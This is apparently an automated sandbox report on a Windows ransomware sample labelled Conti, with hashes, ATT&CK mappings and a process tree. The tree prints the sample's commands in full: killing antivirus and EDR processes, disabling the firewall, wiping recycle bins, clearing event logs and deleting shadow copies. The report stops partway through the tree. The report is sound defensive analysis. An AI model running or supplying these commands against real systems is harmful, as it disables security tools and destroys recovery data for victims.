04f70de1d4ece9350699dc7aa67c9c6e337ef1ff40e8ea4683c4d05c74b822bd

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 01:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe
Size 253KB
Sample260729-cbt27ade59
SHA256 04f70de1d4ece9350699dc7aa67c9c6e337ef1ff40e8ea4683c4d05c74b822bd
MD5 0355efe8cca3612c7459f6b4aa4a6158
SHA1 eb902baf9f51a5837ebaee405d7f971ecdbe8a70
SHA512 03bafe728dbf1bfba11130bfb23132d727b901dcd091c278484f83dfb23793f1640a80ddfc8ef9cfe5a103d8689941585799f6ab401f52b3f6add5873c114102
SSDEEP 6144:Nk9wuPVNuSAMjOfCSxcogZueXN0+pbqgf2bx:Nk9wIVNY6OfXbgZr0+pmg+bx
TLSH
T158443A8EE197D0F8C253F8B4D95A87B9FF207C4C4134653A17E2CEA16893B90972DE85
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution impact persistence privilege_escalation ransomware ransowmware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
2036	wevtutil.exe
3568	wevtutil.exe
5340	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Custom signature

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/1492-7-0x00007FF684710000-0x00007FF684757000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Custom signature

Detects executables containing commands for clearing Windows Event Logs 1 IoCs

resource	yara_rule
behavioral2/memory/1492-7-0x00007FF684710000-0x00007FF684757000-memory.dmp	INDICATOR_SUSPICIOUS_ClearWinLogs

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell command to delete shadowcopy.

execution ransowmware

PowerShell

T1059.001

pid	Process
2080	powershell.exe
4356	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5092	netsh.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 56 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1204	cmd.exe
2552	cmd.exe
3232	cmd.exe
4596	cmd.exe
5912	cmd.exe
624	cmd.exe
1844	cmd.exe
4164	cmd.exe
2764	cmd.exe
1216	cmd.exe
6096	cmd.exe
6136	cmd.exe
2828	cmd.exe
2540	cmd.exe
1128	cmd.exe
4632	cmd.exe
2032	cmd.exe
4124	cmd.exe
5576	cmd.exe
5048	cmd.exe
1248	cmd.exe
3656	cmd.exe
2724	cmd.exe
5068	cmd.exe
4372	cmd.exe
4808	cmd.exe
5796	cmd.exe
2716	cmd.exe
1272	cmd.exe
2636	cmd.exe
3680	cmd.exe
3188	cmd.exe
2224	cmd.exe
6016	cmd.exe
3916	cmd.exe
1420	cmd.exe
3936	cmd.exe
2188	cmd.exe
5864	cmd.exe
572	cmd.exe
1384	cmd.exe
1084	cmd.exe
3528	cmd.exe
4408	cmd.exe
5604	cmd.exe
2068	cmd.exe
3504	cmd.exe
4292	cmd.exe
4600	cmd.exe
3600	cmd.exe
2976	cmd.exe
2084	cmd.exe
5300	cmd.exe
252	cmd.exe
3540	cmd.exe
5424	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5788	vssadmin.exe

Kills process with taskkill 22 IoCs

defense_evasion

pid	Process
4316	taskkill.exe
2624	taskkill.exe
4856	taskkill.exe
5420	taskkill.exe
5200	taskkill.exe
4964	taskkill.exe
5016	taskkill.exe
6024	taskkill.exe
5756	taskkill.exe
2632	taskkill.exe
1288	taskkill.exe
4404	taskkill.exe
700	taskkill.exe
296	taskkill.exe
4716	taskkill.exe
4224	taskkill.exe
4788	taskkill.exe
2220	taskkill.exe
2428	taskkill.exe
2696	taskkill.exe
4708	taskkill.exe
1484	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4560	WMIC.exe
4560	WMIC.exe
4560	WMIC.exe
4560	WMIC.exe
2080	powershell.exe
2080	powershell.exe
2080	powershell.exe
4356	powershell.exe
4356	powershell.exe
4356	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	700	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	2428	taskkill.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	6024	taskkill.exe
Token: SeDebugPrivilege	296	taskkill.exe
Token: SeDebugPrivilege	4716	taskkill.exe
Token: SeDebugPrivilege	5756	taskkill.exe
Token: SeDebugPrivilege	2632	taskkill.exe
Token: SeDebugPrivilege	5420	taskkill.exe
Token: SeDebugPrivilege	4224	taskkill.exe
Token: SeDebugPrivilege	1288	taskkill.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	4708	taskkill.exe
Token: SeDebugPrivilege	5200	taskkill.exe
Token: SeDebugPrivilege	4404	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	4964	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	4316	taskkill.exe
Token: SeDebugPrivilege	2624	taskkill.exe
Token: SeSecurityPrivilege	5340	wevtutil.exe
Token: SeBackupPrivilege	5340	wevtutil.exe
Token: SeSecurityPrivilege	2036	wevtutil.exe
Token: SeBackupPrivilege	2036	wevtutil.exe
Token: SeSecurityPrivilege	3568	wevtutil.exe
Token: SeBackupPrivilege	3568	wevtutil.exe
Token: SeBackupPrivilege	3304	vssvc.exe
Token: SeRestorePrivilege	3304	vssvc.exe
Token: SeAuditPrivilege	3304	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4560	WMIC.exe
Token: SeSecurityPrivilege	4560	WMIC.exe
Token: SeTakeOwnershipPrivilege	4560	WMIC.exe
Token: SeLoadDriverPrivilege	4560	WMIC.exe
Token: SeSystemProfilePrivilege	4560	WMIC.exe
Token: SeSystemtimePrivilege	4560	WMIC.exe
Token: SeProfSingleProcessPrivilege	4560	WMIC.exe
Token: SeIncBasePriorityPrivilege	4560	WMIC.exe
Token: SeCreatePagefilePrivilege	4560	WMIC.exe
Token: SeBackupPrivilege	4560	WMIC.exe
Token: SeRestorePrivilege	4560	WMIC.exe
Token: SeShutdownPrivilege	4560	WMIC.exe
Token: SeDebugPrivilege	4560	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4560	WMIC.exe
Token: SeRemoteShutdownPrivilege	4560	WMIC.exe
Token: SeUndockPrivilege	4560	WMIC.exe
Token: SeManageVolumePrivilege	4560	WMIC.exe
Token: 33	4560	WMIC.exe
Token: 34	4560	WMIC.exe
Token: 35	4560	WMIC.exe
Token: 36	4560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4560	WMIC.exe
Token: SeSecurityPrivilege	4560	WMIC.exe
Token: SeTakeOwnershipPrivilege	4560	WMIC.exe
Token: SeLoadDriverPrivilege	4560	WMIC.exe
Token: SeSystemProfilePrivilege	4560	WMIC.exe
Token: SeSystemtimePrivilege	4560	WMIC.exe
Token: SeProfSingleProcessPrivilege	4560	WMIC.exe
Token: SeIncBasePriorityPrivilege	4560	WMIC.exe
Token: SeCreatePagefilePrivilege	4560	WMIC.exe
Token: SeBackupPrivilege	4560	WMIC.exe
Token: SeRestorePrivilege	4560	WMIC.exe
Token: SeShutdownPrivilege	4560	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 2636	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	90
PID 2636 wrote to memory of 700	2636	cmd.exe	91
PID 1492 wrote to memory of 3680	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	93
PID 3680 wrote to memory of 2220	3680	cmd.exe	94
PID 1492 wrote to memory of 2540	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	95
PID 2540 wrote to memory of 2428	2540	cmd.exe	96
PID 1492 wrote to memory of 5300	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	97
PID 5300 wrote to memory of 4856	5300	cmd.exe	98
PID 1492 wrote to memory of 5912	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	99
PID 5912 wrote to memory of 6024	5912	cmd.exe	100
PID 1492 wrote to memory of 2068	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	101
PID 2068 wrote to memory of 296	2068	cmd.exe	102
PID 1492 wrote to memory of 252	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	103
PID 252 wrote to memory of 4716	252	cmd.exe	104
PID 1492 wrote to memory of 3188	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	105
PID 3188 wrote to memory of 5756	3188	cmd.exe	106
PID 1492 wrote to memory of 4372	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	107
PID 4372 wrote to memory of 2632	4372	cmd.exe	108
PID 1492 wrote to memory of 2188	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	109
PID 2188 wrote to memory of 5420	2188	cmd.exe	110
PID 1492 wrote to memory of 3540	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	111
PID 3540 wrote to memory of 4224	3540	cmd.exe	112
PID 1492 wrote to memory of 2224	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	113
PID 2224 wrote to memory of 1288	2224	cmd.exe	114
PID 1492 wrote to memory of 624	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	115
PID 624 wrote to memory of 2696	624	cmd.exe	116
PID 1492 wrote to memory of 5864	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	117
PID 5864 wrote to memory of 4708	5864	cmd.exe	118
PID 1492 wrote to memory of 6016	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	119
PID 6016 wrote to memory of 5200	6016	cmd.exe	120
PID 1492 wrote to memory of 3916	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	121
PID 3916 wrote to memory of 4404	3916	cmd.exe	122
PID 1492 wrote to memory of 5424	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	123
PID 5424 wrote to memory of 1484	5424	cmd.exe	124
PID 1492 wrote to memory of 5048	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	125
PID 5048 wrote to memory of 4964	5048	cmd.exe	126
PID 1492 wrote to memory of 1420	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	127
PID 1420 wrote to memory of 4788	1420	cmd.exe	128
PID 1492 wrote to memory of 1844	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	129
PID 1844 wrote to memory of 5016	1844	cmd.exe	130
PID 1492 wrote to memory of 3936	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	131
PID 3936 wrote to memory of 4316	3936	cmd.exe	132
PID 1492 wrote to memory of 3504	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	133
PID 3504 wrote to memory of 2624	3504	cmd.exe	134
PID 1492 wrote to memory of 1128	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	135
PID 1128 wrote to memory of 5092	1128	cmd.exe	136
PID 1492 wrote to memory of 572	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	137
PID 1492 wrote to memory of 2828	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	138
PID 1492 wrote to memory of 4808	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	139
PID 1492 wrote to memory of 4292	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	140
PID 1492 wrote to memory of 1204	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	141
PID 1492 wrote to memory of 4600	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	142
PID 1492 wrote to memory of 1384	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	143
PID 1492 wrote to memory of 4164	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	144
PID 1492 wrote to memory of 1084	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	145
PID 1492 wrote to memory of 3528	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	146
PID 1492 wrote to memory of 4408	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	147
PID 1492 wrote to memory of 5604	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	148
PID 1492 wrote to memory of 2764	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	149
PID 1492 wrote to memory of 1216	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	150
PID 1492 wrote to memory of 2552	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	151
PID 1492 wrote to memory of 3232	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	152
PID 1492 wrote to memory of 4596	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	153
PID 1492 wrote to memory of 3600	1492	2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe	154

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im csfalcon.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im csfalcon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im sensor.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im sensor.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im edr.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im edr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im sentinel.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im sentinel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im crowdstrike.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5912
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im crowdstrike.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mfe.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mfe.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im avp.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mcshield.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im egui.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im eset.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im eset.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im sophos.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im sophos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im symantec.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im symantec.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im trend.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im trend.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im avast.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5864
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im avast.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im avg.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im avg.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im zonealarm.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im zonealarm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im norton.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im norton.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im kaspersky.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im kaspersky.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im bitdefender.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im bitdefender.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im clamav.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im clamav.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im winlogbeat.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im winlogbeat.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im sysmon.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im sysmon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q C:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q D:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q E:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q F:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q G:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:1204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q H:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q I:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:1384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q J:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q K:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q L:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:3528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q M:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q N:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:5604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q O:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q P:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:1216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q Q:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q R:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:3232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q S:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q T:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q U:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q V:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q W:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q X:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:6136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q Y:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q Z:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q
  2⤵
  - Executes a command shell one-liner
  PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q ø:\$Recycle.bin
  2⤵
  - Executes a command shell one-liner
  PID:1248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q %windir%\system32\winevt\logs\*.evtx
  2⤵
  PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl Application
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl Security
  2⤵
  - Executes a command shell one-liner
  PID:3656
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wevtutil cl System
  2⤵
  - Executes a command shell one-liner
  PID:2032
- - C:\Windows\system32\wevtutil.exe
    wevtutil cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:4124
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete
  2⤵
  - Executes a command shell one-liner
  PID:2724
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"
  2⤵
  - Executes a command shell one-liner
  PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
